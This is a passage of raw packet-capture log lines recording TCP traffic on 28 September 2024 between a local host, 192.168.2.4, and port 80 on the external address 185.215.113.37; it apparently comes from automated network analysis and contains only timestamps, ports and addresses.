Sep 28, 2024 10:19:06.294091940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.294116020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294121981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.294137001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294156075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.294176102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294188023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.294207096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294222116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.294239998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.294275999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295017004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295051098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295073986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295082092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295098066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295115948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295133114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295150042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295166016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295182943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.295201063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.295236111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.296015978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.296065092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.296087027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.296097040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.296108961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.296129942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.296149969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.296163082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.296176910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.296215057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297013998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297049046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297072887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297081947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297096968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297116995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297133923 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297147989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297171116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297180891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297198057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297230005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297806978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297841072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297864914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297873020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297888994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297908068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297924042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297940016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297964096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.297974110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.297995090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298019886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298755884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298801899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298809052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298835993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298850060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298871040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298885107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298902988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298919916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298937082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298950911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.298970938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.298985004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299014091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299730062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299762964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299787998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299796104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299808025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299829960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299841881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299861908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299868107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299896955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299907923 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.299983025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.299995899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300030947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300663948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300699949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300729036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300733089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300748110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300765991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300780058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300800085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300807953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300832987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.300843954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.300880909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301621914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301656008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301676035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301688910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301697969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301723003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301739931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301753998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301767111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301788092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301801920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301820993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.301841021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.301878929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302578926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302613020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302635908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302644014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302656889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302679062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302694082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302712917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302730083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302746058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302764893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302778006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.302797079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.302826881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303519964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303553104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303574085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303586960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303600073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303621054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303637981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303654909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303678036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303689957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.303706884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.303744078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304476023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304508924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304533958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304541111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304553986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304574966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304591894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304609060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304626942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304641962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304658890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304677963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.304697990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.304719925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.305238962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.305294991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331159115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331267118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331321001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331407070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331407070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331407070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331505060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331537008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331561089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331571102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331585884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331621885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331871033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.331928968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.331971884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332005978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332022905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332039118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332056046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332072973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332088947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332104921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332118034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332151890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332767010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332799911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.332817078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.332845926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.376795053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.376807928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.376822948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.376863956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.376962900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.376977921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377000093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377017021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377027035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377027035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377047062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377083063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377460957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377510071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377612114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377626896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377640963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377655029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377655983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377679110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377686024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377696037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.377723932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.377744913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.378407001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378432035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378446102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378462076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378468037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.378478050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378478050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.378494024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.378500938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.378532887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.379396915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379411936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379426956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379441977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379452944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.379456997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379473925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379486084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.379489899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.379513979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.379534006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.380335093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380350113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380363941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380378962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380388975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.380393028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380409956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380418062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.380425930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.380441904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.380472898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.381270885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381287098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381299973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381314993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381325960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.381330967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381340981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.381349087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381365061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.381370068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.381392956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.381416082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.382229090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382245064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382258892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382272959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382281065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.382287025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382297993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.382302999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382318974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.382328987 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.382343054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.382364988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.383161068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383177042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383191109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383205891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383213997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.383220911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383235931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.383235931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383251905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.383264065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.383279085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.383302927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384114027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384130955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384145021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384167910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384169102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384183884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384183884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384200096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384202957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384219885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384221077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384233952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384253979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384268045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384861946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384896040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384916067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384927988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384943008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384960890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.384979963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.384993076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.385015965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.385027885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.385040998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.385063887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.385075092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.385112047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422564983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422610044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422631979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422666073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422703981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422738075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422771931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422807932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.422816038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422816038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422816038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422816992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422843933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.422849894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423060894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423096895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423111916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423142910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423197031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423247099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423249006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423295975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423528910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423563004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423587084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423654079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423691988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423693895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423722029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423727989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:06.423742056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:06.423760891 CEST	80	49730	185.215.113.37	192.168.2.4
